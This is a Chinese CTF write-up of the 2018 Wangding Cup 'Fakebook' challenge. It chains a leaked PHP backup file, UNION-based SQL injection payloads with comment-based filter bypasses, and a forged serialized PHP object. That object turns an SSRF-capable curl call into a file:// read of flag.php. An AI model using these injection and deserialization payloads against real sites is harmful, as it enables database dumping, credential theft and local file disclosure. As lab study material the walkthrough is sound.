[PHP知识库][WP/BUU/SSRF/SQLI/反序列化] [网鼎杯 2018]Fakebook解题+分析

[网鼎杯 2018]Fakebook

扫描测试，robots.txt 可读

User-agent: *
Disallow: /user.php.bak

下载，源代码展示了UserInfo类，

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

发现疑似SSRF，猜测可以加载文件并显示在blog展示区，

同时，在view发现注入，

view.php?no=

-1/**/union/**/select/**/1,database(),3,4%23
facebook

-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
users

-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'%23
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

-1/**/union/**/select/**/1,group_concat(concat('[',username,',',passwd,',',data,']')),3,4/**/from/**/users%23
[admin,ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413,O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:12:"www.blog.com";}]

爆库结果展示了反序列化的关键信息

<?php

class UserInfo
{
    public $name = "admin";
    public $age = 123;
    public $blog = "file://var/www/html/flag.php";
}
# O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:28:"file://var/www/html/flag.php";}

正常逻辑下，data传入的也是序列化对象，显示的是对应URL的iframe窗口，说明view的后台函数调用了User类，获取4号位数据，执行了反序列化，触发了curl。因此我们传入伪造了资源位置的URL，使之回显，那么curl的便是指定的资源。

借由上述思想，我们上传payload，

-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'/**/from/**/users%23